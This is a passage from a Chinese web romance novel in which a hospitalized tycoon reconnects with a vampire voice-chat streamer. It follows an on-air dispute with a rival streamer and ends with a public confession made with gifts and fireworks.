傅宴舟能感觉到前胸和腿部被绷带缠绕,一动浑身都传来疼痛感。 肖特助守在病床前,胡子拉碴,一双眼睛熬得泛红,眼底都是乌青。 肖特助看到人醒来,又惊又喜,连忙叫来医生又是一通检查。 傅宴舟听了几句,大致是身上没有伤到要害。直到听他们说到面部恢复手术时,用嘴部牵动了一下面部肌肉,左侧脸颊的刺痛沿着面部扯到耳根。 “照片。” 傅宴舟缓缓说出两个字。 医生反应过来,温言道: “傅总,目前我们的治疗方式足以让您完全如初,您不用担心……” “照片。” 脸上已经被绷带缠了起来,只能靠照片看清伤得多深。 医生也不想和他多拗,看了看肖特助,最终拿着一张入院的伤口留底照片给傅宴舟看了一眼。 猩红的伤口如一道血色闪电,自左侧颧骨斜贯鼻梁。虽未深及肌理,但那刺目的鲜红仍令人心惊。 傅宴舟阖眼,医生再一次保证不会留下任何伤疤,才悄然离开病房。 “我又没死,你哭什么。一把年纪了。”傅宴舟的声音比平日里沙哑许多。 肖特助不敢抬头,一把年纪第一次见这种场面,尽力把情绪掩藏到极致: “是斑森的余孽,现在已经全部落网了。几个月前他们来A市,一直以来就是在找机会。” “这次您去极地出席环保项目的消息传回A市,几个亡命徒被‘宁愿救动物也不愿意救人’的极端观念洗脑做的。这些人没钱请律师,将以故意杀人罪处以华国刑罚。” “傅总,这次出事是我们的极大失职,我难辞其咎,请您……” 傅宴舟微微地抬手示意他停。 他不是皇帝,没有人能24小时在身边寸步不离保护。 对方打定主意冒死要杀人,现在身上的伤已经算轻。 至于对斑森方的处理,不用他说肖特助也应该知道怎么做。 “我哥和傅柏知道了么?” 肖特助立即会意:“小傅总昨天守了您半夜,今天早晨熬不住回去休息了。” “您的情况稳定后,我们按惯例没有惊动大少爷。" 这个分寸把握得很好。傅宴舟的亲哥替他坐镇海外市场,除非生死攸关,否则不必惊动。 “手机。” 傅宴舟咬牙撑起身子,伤口传来的刺痛让他眉心紧蹙。 肖特助连忙递上充好电的手机,傅宴舟边解锁边问: “对了,那天救我的小男孩找到了么?” 那天光线太暗,傅宴舟只记得救他的应该是两个年龄不大的小孩。 “都调查过了。二人是室友,均无业,住在事发现场附近的出租屋里,都不是A市人。不过巧合的是,两人还有一个合租室友,是之前调任总部朱彦的司机,名叫靳伟,和救人的青年年龄相差不大。” 傅宴舟眉头轻挑,肖特助也知道他的疑问,继续解释: “我调查了朱彦和这名司机的关系,大致是靳伟的父母曾和朱彦有渊源,靳伟在A市辗转打过很多零工,去年才找到朱彦,给了他司机这份工作。” “初步判断,这件事完全巧合的概率较大。我们后续还会留意这个司机。” 手下刚升上来的高管司机的朋友恰好救了总裁,真是完全巧合都对不起这种关系。 傅宴舟淡淡地嗯了一声,语气随意道: “问问他们想要什么东西,有什么愿望。我能做到的都解决。” 肖特助瞳孔微缩,傅总嘴里的“能做到都解决”,已经不是给个成百上千万金钱的沉重了- 熟悉又陌生的消息铃声响起,宁尔简直不敢相信自己的耳朵。 长时间的等待让他的希望已经一点点破灭,陈元之发现了他的异样,再三追问下宁尔才告诉他舟先生不回消息了。 陈元之想了又想,最终告诉了宁尔那个被很多人说过的可能性: 腻了。 摆在眼前的事实,对方骤然转变的态度,这三个字不用过多解释,陈元之只是拍了拍宁尔的肩膀。 往好想,最起码他只骗感情没骗钱没骗□□。 网恋有风险,聊天需谨慎。 这是宁尔骗到舟先生第一笔钱的时候,美滋滋的胜利宣言。 有一天这句话却变成对宁尔自己说的了。 宁尔不敢告诉陈元之,其实□□也骗了。 舟先生花掉了人类世界的一千多万,骗了他的一个吻。 宁尔想起来那个亲亲的感觉,好像、好像也不亏…… 左右脑又开始互博,宁尔痛苦地抱着脑袋蜷在沙发上。他好像已经吃上了传说中人类的恋爱的苦。 等待、焦虑、猜测,每一样都很苦。 苦味从舌尖往全身蔓延时,宁尔听到了那个提示音。 他一骨碌爬起来打开手机,屏幕上赫然是舟先生的消息: [宝宝,我……回来了。] 看到消息的一瞬间,宁尔委屈地眼泪都要冒出来了,他大口呼吸了两下平复心情,一时间不知道该怎么质问。 [小猫咪助理告诉我你找过他。] [对不起没及时回复,这几天有点忙。小耳朵想哥哥了么?] 舟先生的态度平静地仿佛像不是消失了几天,而只是几个小时。 平静地甚至让宁尔有些恍惚,是不是自己戏太多了。 也许对舟先生这种有钱人来说,忙起来几天没有消息也很正常? 也或许,“渣男”无聊了又开始重新找他? 上涌的情绪全部被憋回心里,仿佛失去了坚持很久的力气,宁尔呆呆地按了两个表情出去: [憨笑/憨笑/] 用魔法攻击魔法。 [宝宝,你是不是生气了?] [憨笑/憨笑/] 仿佛是感受到了他的情绪,过了一会儿舟先生才回复: [宝宝,我刚才狠狠批评了小猫咪助理。] 为什么? 宁尔皱起眉头,等着他继续说。 舟先生却不说话了。 好奇心胜过了其他情绪,宁尔打字: [?] [你找他的时候他回复的不好,很冷淡。] [你还好意思嗦别人冷淡??] 宁尔再也忍不住了,直接打字回了过去。 [果然生气了。] [宝宝,我很想你。] [除了想你,也很担心你。] 宁尔看着舟先生这套标准的“渣男”哄人语录,撅起嘴打字: [担心我?什么?] [担心你直播顺利吗。你语音房的二号有没有再作妖。] 竟然不是哄人语录。 宁尔被忽然的信息弄得一头雾水,他复播以后2号的确两天都没来,宁尔还以为他请假了。 [举报你的不是山屿,是2号。他俩是朋友,山屿把这件事告诉了他。] [可是,可是2号为什么要举报我呢?] 宁尔知道2号不喜欢他,没想到已经严重到这种程度了。 更让他难以置信的是后来他以为自己和2号关系缓和了,偶尔还互动几句,他却在背后阴自己。 [可能是嫉妒小耳朵的才华吧。] 我?才华? 不对。 如果只是嫉妒,舟先生怎么知道的? 宁尔不接受这个答案,再三追问,舟先生才回答: [他找我私聊过。起初我看到是你语音房的人,以为他要说和你有关的事情。] [然后呢?他说了什么?] 他还是没懂。 笨蛋。 [然后他说让我做他大哥,说你会的他都会,你不会的他也会。如果我想,可以随时给我加微信爆照。什么照片都可以,见面做什么也可以。] 宁尔怔怔地看着这段话,有些难以置信。 [那、那然后呢?] [没有然后。] 舟先生斩钉截铁。 比起告诉他回了什么怎么解释,“没有然后”是对这个人、这件事最好的回答。 难怪宁尔苦恼的那天,舟先生说是小事情。 也一定是他帮自己摆平了2号解决了这件事。 宁尔忽冷忽热的内心仿佛被一双骨节分明的大手捧住,逐渐停在了一刻恰到好处的温度。 奇异的委屈再度涌上心头,宁尔假装拍阳台上那多塑料玫瑰花,但十分“不小心”地拍到自己裹着纱布的手。 小臂上的手掌包得像个粽子,手掌握起来,圆圆地像多啦A梦。 伸出圆手。 [宝宝,你受伤了?] 舟先生的关心让宁尔眼睛有些湿润,他忍住小珍珠,吸了吸鼻子: [嗯。] [怎么弄得?疼不疼?要不要哥哥帮你安排住院?] 切,有够夸张的。 宁尔忍不住嗤笑了一声: [我去见义勇为了,有一个男人被10个男人追杀,我一个人打跑了十个,就受伤了。] [宝宝这么厉害啊?] [嗯哼。] [宝宝,哥哥胸口上也有一个和你一样的绷带,你要不要看?] 宁尔神色古怪地看着这句话,憋了一会儿,咬着嘴唇戳手机打字: [哥哥,你又要耍流氓了吗?] 第45章 “老公?” 傅宴舟看着那句可爱的“哥哥, 你又要耍流氓了吗”,眉眼间露出温柔的笑意。 嘴角因为牵动传来刺痛,傅宴舟闭了闭眼, 深深呼吸了几下, 打字: [嗯, 那就不耍了。] [……其实……可以耍。] 宁尔红着脸打出这几个字。 [骗你的,哥哥身上没有绷带。] 舟先生又随意扯了几个其他的话题, 宁尔每一个都回复着, 可舟先生始终没有提关于他们见面的事。 宁尔看着舟先生的每一句话, 他和舟先生没日没夜地聊过几个月了, 对舟先生说话的语气方式有一定的了解。 最明显的, 是他的停顿。 舟先生每次过长的停顿,背后都有什么宁尔不知道的事。 这次感觉尤其明显。 这样云里雾里的聊天内容让宁尔像心里有只被蒙住脑袋的猫一样乱窜, 他皱皱眉,趁再度烦躁起来之前打字: [舟先生,你身上发生什么事了吗?你送我的手机上倒计时是什么意思呢?为什么、为什么你今天说话好像奇奇怪怪的呢?] 一口气把这些字发出去之后宁尔胸膛因为沉重的呼吸起伏着。 什么玩腻了,什么要忽冷忽热让对方猜不透,什么故意晚回消息钓鱼。 小吸血鬼不想玩这样的游戏。 沉默了很久, 手机震动起来,宁尔看到是舟先生的电话。 宁尔接起来电话,对面的声音比平日的沉稳更加低哑,像是用了很大的力气叫他: “宝宝。” “嗯?” “哥哥生病了。” 宁尔的手掌一松,险些把手机摔在地上。 尽管舟先生的语气已经尽力轻松了, 但宁尔还是能感觉到他的虚弱。以及对宁尔说出这个事实之后的如释重负。 “怎么病了?很严重吗?”宁尔把手机握紧, 眉毛拧成一团。 “不严重,只是需要一点时间恢复。可以再等我一段时间吗?” “你在A市吗?生病了是不是要住在医院?是在院长哥哥的医院吗?要……要我去探望你吗?”宁尔根本不相信舟先生说的不严重。 那张猩红伤口的照片画面浮在脑海中。 丑陋,狰狞。 优越的皮相和富裕的生活是从傅宴舟出生那一刻就拥有的东西。 从逐渐成年有个体意识起, 傅宴舟的注意力都在家族与事业上,就连健身也只是对自我身体掌控的训练。 相貌在傅宴舟的个人注意程度上几乎排到最末。 而此刻,他却完全不能接受顶着那个狰狞的伤口吓到小朋友。 更不能接受,他们的第一次见面,那个漂亮少年看到的是这样一张脸。 而这个人,还是傅宴舟。 “宝宝,医生说,我需要静养。” “我可以不说话的。” “静养的意思,不是说话。” “那是什么?” “心率。心跳不能波动。” “那……” 宁尔本来还在紧张,听他这么说脸一红,有些尴尬地卡壳了一下,他自己每次“见”舟先生的时候心跳都砰砰砰个不停,尤其亲亲的那次,心几乎都不跳了。 宁尔看过人类的电视剧,住院的人会在手指上夹一个夹子,旁边的电脑上的那根线就会显示他心跳的频率。 “宝宝,你不信吗?” “……啊?” “你叫我一声哥哥。” 他们通了电话这么久,小耳朵还没有叫一声“哥哥”。 这个要求没什么,宁尔停顿了一下,在电话里像往常一样用清亮的声音叫: “哥哥?” 舟先生立马拍了一张他的心率图过来。 画面上的线高高低低,每一次循环就代表着他的一次心跳。 “哥哥的心跳起伏,好像也没有很大嘛。” “那换一个叫试试?”舟先生在电话里引导他。 “换、换谁叫?”宁尔睁大眼睛。 “……换称呼。比如,男朋友什么的。”。 不知道舟先生自己的心跳没跳,宁尔自己的心猛地跳动了两下。 舟先生的这声男朋友,像是告知,更像是在叫他…… “谁、你、你又不是我男朋友。” “网恋男朋友不算男朋友吗?”舟先生用了一招以退为进。 “我、我们……” “难道我们这么久连网恋都不算吗?” 舟先生的声音好像有点委屈,显得宁尔好像是那个渣男了。 宁尔我不出来了,他声音软下来,像蚊子嗡嗡一样软软地叫了一声: “男朋友。” “男朋友是谁?” “是你。” “我?” “……是、是舟先生。” 宁尔说完之后脸更红了,舟先生又发了一张照片过来。 那个线波动的起伏频率真的更高了一点。 “这、这么明显吗?” 舟先生压低声音,语气中有点临近挑逗的意味: “嗯。还要再试试?” “还需要我教你吗?” “……” “男朋友……我、我想你了。”宁尔忐忑地说出这句话。 照片发来,波线变得更密集了。 “还说吗?” “男朋友……我……” 宁尔想到舟先生离开那天亲玩他说的那句话,心跳加快了一点儿,稍稍沉默了一会儿,对着电话道: “男朋友,我喜欢你。” 舟先生没说话,照片发来,这回的起伏波线甚至有重叠在一起的。 宁尔看着那张图,自己的心跳好像也保持了一样的高频,他有些后知后觉发懵地捂住嘴巴,怎么、怎么就这样把这句话说出来了。 “我、我……” 宁尔脸红心跳想补充什么,电话那边舟先生的轻笑声传来,他像是发自内心地高兴,都不遮掩。 舟先生,又玩弄他! 舟先生笑够了,温声问: “现在能证明了吗?” 到底是谁在证明呢鬼请问? 宁尔没说话,用鼻子哼出一个音以示回答。 “宝宝,只是电话里听我心跳都这么快,真来照顾我可能真的养不好病了。” “我就是客气问问而已。”宁尔嘴硬。 他现在又觉得舟先生的病没有那么严重了。 没有一个重病的人还有心情这样玩。 “那就好。放心,我住得医院很好,不会让你等太久。” “哦,好。” 宁尔有些吃瘪了的郁闷。明明他是有些生气的,怎么被舟先生一通电话打的,不仅三言两语解释了为什么不回消息,还骗他说了“我喜欢你”。 电话那头传来敲门声: “宝宝,医生来了,先挂断……” 宁尔一直盯着舟先生那张心率图,听到敲门声后忽然玩心大起,趁舟先生说完话之前出声打断他,软糯的声音黏黏糊糊又小心翼翼: “老公?”—— 作者有话说: 趁你老公病,要你老公命。 第46章 10w+观众面前表白 “哔——” 听筒里传来一声尖锐的机器声, 那通常是电视剧结尾心脏停跳发出的警报声! 宁尔简直要吓晕了,慌忙地大叫: “老公、不、哥哥、不对,舟先生, 舟先生你别死, 你别死!我不叫了你别死!~” 过了十几秒, 手机里弹出一张对面发来的图片。 宁尔小脸苍白地打开图片,一张心电图上, 显示着用波线画成的一个红色爱心。 “……” “……” 和舟先生通过电话后就快要进语音房了, 宁尔洗了个澡, 把家里里里外外地打扫了一遍, 哼着那首爱情讯息, 给玻璃花瓶里的假玫瑰花瓣上弄了几滴水珠,拿出新买的睡衣换上。 那套录音设备几乎把桌面上的全部空间都占了, 三脚架立在地上,宁尔打扫卫生时候都得小心翼翼。 开播前春风哥忽然直接打了一个电话过来,宁尔接起电话,春风哥好像气得不轻,狠狠吸了一口烟: “小耳朵, 二号要退播了。” 宁尔愣了一下,下意识垂了垂眼眸,像做错事的孩子一样。 春风哥、2号、3号、山屿、5号流浪小皮。 在他加入之前,原本是个完整的团队。 春风哥肯定不知道2号做了什么,在他眼里就是团队成员一个个离开。 “春风哥, 我……” “你什么?” 宁尔本来想说个抱歉, 转念想了想,还是不能说。 他虽然能共情春风哥接二连三失去一起团播的成员,但如果他说了, 春风哥一定会察觉到他知道什么,追问起来,宁尔肯定撒不了一个圆满的谎。 比起知道朋友做过不好的事,单纯退播还是更好一些。 他不知道这对春风哥来说算不算背叛,但宁尔很厌恶背叛,或者说,他还从没有体会过被背叛的滋味。 他从小众心捧月,鬼缘很好,大家都争着抢着要和他做朋友。 他最好的朋友莱特,在发现他不是吸血鬼公爵的亲生儿子之后,连夜冒死带他出逃。 然后在逃亡的过程中他就失足误入了人类世界。 也不知道莱特现在还好不好。 有没有被为难呢。 “没什么。”宁尔收回思绪,说了三个字。 春风哥好像因为2号退播的事十分烦心,又猛猛吸了一口烟: “嗯,行。” “你正常播你的,别受影响。” 宁尔答应下来,晚上十点他准时上播,因为舟先生回来了,宁尔不自觉地心情好了不少,说话的情绪都更高涨了一些。 评论区还是有很多人问舟先生怎么还不回来,但也有很多人在问2号怎么今天又没来。 自从宁尔把这个语音房带火了以后,每个人都因为这波流量涨了很多粉,基本都成了中等位置的主播,每个人都有讨论度。 宁尔互动着,语音房忽然来了一个女生头像的主播,直接砸了重金插队上麦互动。 砸的是小耳朵。 宁尔看了看她的主页,粉丝不少,和流浪小皮几乎差不都了。 女生是成熟的御姐音,一开口就点了小耳朵的撒娇八连。 小耳朵平时被cp粉“管”得很严,很少接这样的互动,尤其是男生。 但这个是女孩子。 宁尔想了想,清了清嗓子,用少年的声线带着点儿软,开麦: “好不好呀~”“你最好了~”“行不行嘛~”“球球你啦~” “拜托拜托~”“爱你们呦~”“我不管嘛~”“人家要嘛~” 宁尔说完这一连串直接羞得红温了,评论区也都在“啊啊啊啊啊”“宝宝太可爱了”。 他的状态好了起来,粉丝的热情也更高了。 没想到下一句,却听连麦女生道: “呵,就这啊?” 她的声音偏御,几个字说完就像一盘小冷水一样浇在了宁尔脑袋上。 “唔?” [什么意思?] [什么叫就这啊?这还不够吗?] [这么萌都不喜欢??极品少年音懂不懂欣赏啊] [对面也是主播,来踢馆的吧?] [一个男主播,一个女主播,按说没什么冲突啊。] “能把团友逼得退圈,我还以为有什么本事呢。听着觉得很一般啊,也对,只有这样的才能收割低龄粉无脑吹。” 她这段话信息量极其大,评论区都集体愣了一下。 什么把团友逼得退圈? 小耳朵来这个语音房是第一次播,哪来的团友。 有人和宁尔一起反应过来。 2号? 是他的朋友? 宁尔稳住评论区,开口道: “这位朋友,这是我的语音房,请你冷静一点。” 宁尔严肃的声音一点儿都不显弱,反而有一种让人自觉冷静下来的感觉。 “冷静?这么不识趣啊。逼我在语音房把话说清楚?” 宁尔冷笑了一声: “从你点我撒娇八连开始,就没想过私下解决吧?” “既然已经这样了,那你最好说得清楚一点。” [我去,小耳朵今天好硬啊] [原来小耳朵严肃起来是这样啊] [宝宝小发雷霆的样子好帅啊] [到底要说什么啊] [是关于2号吗?他倒是几天没来了。] 女生冷笑了一声: “你们的软萌萌主播,在团播里抱团霸凌,不顾队友独占时长,仗着粉丝多网暴素人退圈。解释地够清楚了吗?” “一点儿都不清楚。你重新说。”没等评论区炸,宁尔的声音就不卑不亢从麦里传来。 她这段话连“2号”这个人都没敢提,说得阴阳怪气大帽子一顶接一个,听起来都怪吓鬼的。 “……” 女主播没想过他脑回路是这样,愣了一下: “你哪句没听懂?” “哪句都没听懂。时间地点人物事件,你都没有说清楚。出门吵架不先自己打一遍草稿吗?” 女主播无语:“你和人吵架还打草稿??” “我打的。” 宁尔说得是真话。 他说人话那么费劲,当然得先在手机备忘录上先写一遍大纲。 女主播:“……” [哈哈哈哈哈哈] [哈哈哈哈哈srds耳宝你又狠狠萌到妈妈!] [如果说萌是一种天赋呢] [再心狠的女人都会不忍心了吧] 女主播被他一捣乱,节奏都乱了,卡壳了一会儿才说: “既然你听不懂,那我只能当着整个语音房再说得直白点。你们没发现2号已经请假好几天了吗?他根本不是家里有事儿,是被这个叫亲亲小耳朵的大主播粉丝私下逼到退网了。至于那些粉丝是不是小耳朵授意的,你们可以自己问问他。” “你这么了解2号和我的事,请问你又是谁呢?” “我是谁不重要,你……” “很重要。”宁尔打断她。 “不重要,重要的是2号……” “不,真的重要。”宁尔又打断她。 女主播几乎要抓狂了:“你能不能别老打岔??” “我没有打岔。我需要知道你是谁,才能判断这些是2号在骗你,还是你俩合伙在这里污蔑我。” “你说什么?” 女主播几乎是气笑了,评论区里站谁的都有,她自己本身也有很多粉丝,带进来的粉丝立马在评论区开战。 “语音房里占用大量时间独播是不是你啊?别人互动的时候你的粉丝在评论区讨论你是不是真的啊?一口气答应录一万条定制语音恶意竞争是不是你啊?” 她三连问之后又冷笑了一声,用极其刻薄的语气阴阳: “不愧是短短几个月靠炒作恋爱cp升成新星的人,脸皮真不是一般的厚啊。” “你说谁脸皮厚呢?” 一道非常熟悉的声音忽然从麦里响起,宁尔一看麦位,一个人不知道什么时候上了5号的麦位。 酒酿圆子。 元之! 宁尔直播了这么久,哪怕是他火了元之被挖墙脚那段时间,都没有合体或者蹭过宁尔一次直播。 “酒酿圆子?我认识你吗?”女主播显然在查看元之的资料。 宁尔做的是纯男团,陈元之和这个女主播做的都是混合语音房,男女主播都有,这样的语音房粉丝也有男也有女,相对更大众,路人粉多,彼此之间也有互相知道的。 陈元之才不像宁尔那么客气,也学她的语气阴阳冷笑: “我管你认不认识。小耳朵认识你么你就来人家语音房发疯?” [我去,这主播谁啊嘴够毒] [看等级是娱乐区的大主播] [我好像看过一次,他是个老主播了,竟然认识小耳朵么?] [圈圈圆圆语音房的房主啊!这、这是来替小耳朵来出头的?] [不是,小耳朵如果认识他还需要互暖吗?做任务起号那不是分分钟钟的事儿?] [害,当你火了,全世界就都吻上来了。] “圆子……”宁尔在麦上小声叫。 陈元之的到来又给语音房带来一大波观众,他根本不看评论区,节奏拿捏地非常老练: “我刚刚播着播着,忽然听评论区说有人来砸流量新星的场子,还是为了麦兜兜那种货色,来开开眼看看什么人。” 麦兜兜就是2号的网名。 “你说谁是货色?半年没刷过牙吧嘴这么臭?” 女主播铁了心要维护麦兜兜,语气丝毫不客气。 陈元之不紧不慢: “这就臭到你了?忍耐力不行啊。这么点儿本事怎么敢帮一个勾引队友榜一、勾引不成怀恨在心反手举报的人来干架的?” 宁尔小小地吸了一口气。 他还没来得及和元之说,元之竟然已经知道了? “你乱说什么呢?!造谣违法知道吗?” 女主播根本不知道他在说什么,愣了一下之后认为又是在抱团泼脏水,气得声音都尖了。 “呵呵。这反应,你还不知道啊?” “你说的这位被小耳朵霸凌的朋友,从小耳朵的榜一银耳粥来的第一天就盯上人家了,直播时候想办法表现,私聊发照片挖墙角。” “具体怎么挖得我就不说了,不过也是不想脏了小耳朵的语音房。” “缘来本来就是这个小软件,圈子就这么大,事儿只要自己做了就没有不透风的墙。我要是你我现在立马找他当面对峙了。” “不可能!你们、你们太过分了吧?”女主播声音气得都有点发抖了,语气中几乎有哭腔: “就因为他退网了就可以这样造谣?随便找个主播来0成本来造谣几句就能颠倒黑白,你收了他多少钱?!证据呢?你有证据吗?!” 陈元之愣了一下,沉默了几秒: “我没证据,你自己找他要。” 果然他说完这句话之后就开始被评论区网暴。 [???说了半天没证据啊大哥?] [真就互联网一张嘴什么都能说是吧?] [道歉。微笑/微笑/] [道歉?刚刚我已经都录屏了,法庭见。傻x] [主播这么会造黄谣,该不会主播自己这么干过吧?] [srds谢谢你支持小耳朵,但这样说话真的会给他招黑啊……] [uu们我们证明小耳朵以前没有接触过这个人哈。别是反串黑或者混子吧?] “圆子,谢谢你。来我这里不会耽误你吃晚饭吧?外卖刚刚才到。” 眼看评论区开始骂陈元之了,宁尔及时出声,表明了他和陈元之的关系。 [晚饭??你们一起吃晚饭??] [小耳朵怎么知道他晚饭没吃完?] [不是,你们住一起啊??] [和男的住一起啊?] [@银耳粥,榜一老板,你宝贝和别的男人住一起呢] 女主播听着几乎笑出来了: “我说怎么跑来造谣出头,你俩认识啊?还住一起啊?” “都别吵了!”一片混乱中,一道有些烦躁的声音打断了所有声音。 春风哥。 春风哥刚刚还在为2号退播的事儿烦心,现在陈元之又忽然告诉他2号做了这种事。 他并不知道这些,在他的视角里,只是有个主播忽然跑来骂他兄弟。 宁尔怕春风和陈元之吵起来,犹豫着开口: “春风哥……” “他说的是真的。” 春风声音闷闷的,那边传来一口重重的吸烟声。 “什么?……”女主播喃喃起来。 “你既然都来帮2号出头了,不会连我都不知道是谁吧?” 她当然知道了,和2号一起打拼上来的房主,他们线下都是朋友。他都这么说了,恐怕语音房百分之八十的人都会信了。 春风:“嗯。他说的都是真的。我不想再重复一遍了。” “你……” 女主播犹豫了一会儿,几乎要碎了一样,一字一句质问他: “春风,麦兜兜把你当哥,你收了多少钱,竟然能这样污蔑他?” “……” [……] 是整个评论区都觉得无语的程度。 “那你应该去问问他,为什么明明已经好起来了,偏偏要走那种歪路。” 春风不是没看出来过2号针对亲亲小耳朵。 从一开始亲亲小耳朵吃闷亏,到他能一步步自己化解,春风找2号说过好多次。 没想到他不仅没有收敛,还盯上了小耳朵的榜一,还说什么都是男人喜欢谁不是喜欢,小耳朵那么笨,两天就被玩腻了。 甚至能干出来举报这种背地里捅刀子的事。 “你只看到了他占用时长,怎么从来不说他每天直播两小时就给语音房带来多少人气?哪次老板们砸大票没有你的份儿?” “你只看到他的粉丝多,为什么不说自从他来了给我们每个人涨了多少粉?有多少次他完全不能参与的唱歌房都是为了给你吸粉?” “你觉得他录一万条定制语音是在恶意竞争,没听出来他自从答应之后每次直播声音都是哑的么?” 春风一句一句回答着刚刚女主播骂小耳朵的话,与其说回答,更像是对着那个隐藏在背后、到最后一刻都只敢把别人当枪使的麦兜兜质问。 他相信,此刻他一定躲在语音房外观看了全程。 “我不知道你们是什么关系,我只想告诉你,人会变。” “我春风,从来不和背后捅刀子的做朋友。” 语音房沉默了很久,宁尔开口道: “春风哥,谢谢你。” “圆子,谢谢你。” 熟悉他的粉丝,应该都能从这两句“谢谢”里感受到认真和分量。 谢得是哪怕元之拿不出证据,冒着被网暴的风险也要上麦替他解围。 谢得是春风哥在关键时刻没有打马虎,在这么多人面前维护了宁尔的清白。 [我我我我去,燃起来了!] [此刻应该有配乐啊!!] [我大概听明白了,就是麦兜兜勾引粥老板不成,又反手把小耳朵举报了吧。] [这么一想还真是。好像每次只有粥老板在的时候他说话都很夹,还都要唱歌。] [对,还唱过和小耳朵跑调那首一样的歌。唱得确实很好听……] [不是姐妹你哪边的?] [u1s1,他现在的粉丝量,哪怕独播或者换个语音房都够赚得了吧?真搞不懂] [贪心不足蛇吞象呗,觉得播得再多也不如粥老板一掷千金来得快啊] [那他怎么退网了?感觉他才是脸皮最厚那个啊] [肯定是粥老板动手了呗,敢举报我老婆?找鼠!] 评论区的弹幕都快飞了,过了一会儿那个女主播才幽幽道: “我、我还是不太信……” “……” “……” [哈哈哈哈哈给我气笑了。] [要不你也每天来看直播吧?看看是不是像春风说得那样] [紫啧我们觉得你也挺美的,只要你一声令下我们拥护你为新的2号] [紫啧,不用逞强,你刚刚明明也被小耳朵萌住了] [哈哈哈哈什么鬼刚刚不是还在吵吗?] [这就是小耳朵带出来的兵吗太抽象太有趣了] [紫啧,紫啧~] 没等她们抽象完,一个闪亮的名字敲响了上麦互动。 银耳粥。 宁尔同意了舟先生的上麦申请,他开麦的第一句就是: “好多人啊。” 的确好多人。 两个主播“加盟”,又是撕逼戏码,语音房热度直接冲上榜一,同时在线人数高达10w。 可能整个缘来的人都在这儿了。 非常壮观。 [粥老板你终于回来了] [太好了猫猫是豹豹回来了] [啊啊啊啊啊] [不知道在啊什么但就是想啊啊啊啊啊] 宁尔有些不好意思地挠挠头,恢复了小夹子的声音: “舟先生晚上好~” “在说什么这么热闹?” 没等他们几个解释,女主播就先发问: “你就是他们说的那个……榜一大哥?” “哪个榜一大哥?”舟先生语气一副不明所以的样子。 “就是那个……那个他们说麦兜兜私聊的那个榜一大哥。”女主播咬着牙一字一句回答。 “哦。” “是我。” “哦?既然你是当事人,如果真的像他们说的那样,你一定有证据喽?” 舟先生语气十分随意: “有啊。你要看吗?我现在截图发你?” 女主播:“……” 沉默,无尽的沉默。 舟先生轻飘飘的一句话,让刚刚所有的争吵、证明都变得有些滑稽。 就像是十八个能工巧匠解了九九八十一的九连环最后直接摔碎开了的那种感觉…… 舟先生泥…… 女主播:“你故意的吧?故意卡着点儿来一锤定音的?” “想多了。我来回答上次粉丝留下的问题。” [新粉新粉,什么问题?] [啊啊啊我都差点忘了] [忘不了根本忘不了一点!!!问题是“粥哥喜不喜欢小耳朵”!] [啊啊啊啊要表白了吗!!!] [好想哭啊谁懂,第一次亲眼见证自己磕的cp成真。] [想哭+1] [甚至还是没有见过面的纯网恋] “既然还没表白,算什么挖墙脚啊……” 女主播被春风踢出了语音房。 语音房被他换上了一首经典的表白英文歌,主页装扮是粉紫色的浪漫城堡,弹幕上不停地飘着粉丝送的粉色小爱心,10w+的语音房在线人数只增不减,整个房间的氛围忽然变得旖旎而温柔。 宁尔当然记得舟先生承诺的回答,也猜到他这几天可能会上线,只是没想到是在这个情景下…… 人也太多了…… 也、也不是人多。 宁尔耳朵不自觉发烫起来,有些紧张,比起第一次的猝不及防,这么多人见证下的期待更让他心跳加速。 他把手机放在桌面上,两只手握成拳头紧张地缩回绿色连帽衫的袖子里。 “别这么严肃,小耳朵会紧张。” 好像在他家安了监控一样,舟先生调侃着对语音房的10w+观众说。 [哈哈哈哈哈谁紧张了] [哪里严肃了??我们是在甜蜜磕糖啊] [是粥老板自己紧张了吧!!] [哈哈哈哈包的啊!粥哥平时话那么少,忽然在这么多人面前表白肯定紧张!] 舟先生看着飞速滚动的弹幕,轻轻笑了一声,嗓音低沉而温柔: “嗯,确实有点。” 紧接着,语音房出现了有史以来最多的现金福袋。 二十个大额现金福袋滚动发放,堆满了半个屏幕,能忍住不点的是这个。 当然,根本不用忍。 他们记得,明明以前语音房最多只能同时发5个福袋啊…… 他发完福袋之后迟迟没了动静,评论区都有急性子忍不住催了。宁尔知道舟先生在生病,也担心他这次会不会真的心跳过速了。 过了一会儿,舟先生的喃喃声从麦里传来: “为什么送礼物还会有最高限额……” 下一秒,9999999朵玫瑰花的礼物特效出现在语音房。 9999999,它可以是一个某宝的防拍链接。 也可以是小程序写的礼物最大限额。 它唯独不能是真的礼物数额。 单价5块2的小玫瑰在9999999万的加持下堆积出了5000多万的浪漫。 漫天玫瑰花雨特效把语音房卡得足足几分钟动不了,手机发烫,弹幕如同起飞,说话声音已经开始断断续续时候,语音房又传来舟先生的声音: “这个软件是同城语音,我知道很多人都在A市。” 他顿了顿,嗓音里带着笑意,“如果你们愿意,现在推开窗,或许能看到烟花。” 窗外同时传来烟花升空的声响。 宁尔愣愣地走到窗边,推开玻璃,远处的江畔,一簇簇火红的光点接连绽放,映亮了半边夜空。 ——一如那天漫天的蓝色星辰。 他微微睁大眼睛,呼吸不自觉地屏住。语音房里,舟先生的声音穿过十几万人的喧嚣,清晰而温柔地落进他耳中: “亲亲小耳朵,我喜欢你。” “很喜欢。” “只喜欢。” “一直喜欢。”—— 作者有话说: 甜。 第47章 最好这辈子别让我碰见 [啊啊啊啊啊我要疯了] [甜晕了甜晕了甜晕了] [呜呜呜呜眼泪从眼睛里面飚出来了] [想哭+10086!!!] [真的在边看烟花边擦眼泪, 第一次磕cp就磕到这么真的什么实力我请问呢] [烟花好美,xql99] [呜呜呜呜粥老板这段时间没出现我真的以为耳宝没有人爱了] [爱耳宝的人很多,只是我们希望他们美满!] 银耳粥这手堪比教科书级别的钞能力级别表白, 在十几万人的语音房里平地惊雷。 不出半小时, 这段录屏, 以及A市夜江两侧升空绽放的火红色烟花,都会出现在缘来的官方号、多个缘小圈, 甚至其他热搜平台上。 这样坚定高调的表白方式, 会让所有“亲亲小耳朵是靠炒作cp火的”、“有钱人只是玩玩而已两天就腻了”、“粥老板守护的主播一大堆”等谣言彻底粉碎。 大额循环的现金福袋又狠狠拉了一波观众的路人缘。 舟先生已经对他表白过一次了。 宁尔知道舟先生今天是专门对直播语音房的观众说的。 但这并不妨碍, 当他再一次听到他说“我喜欢你”的时候, 仍旧呼吸凝重到几乎停滞。 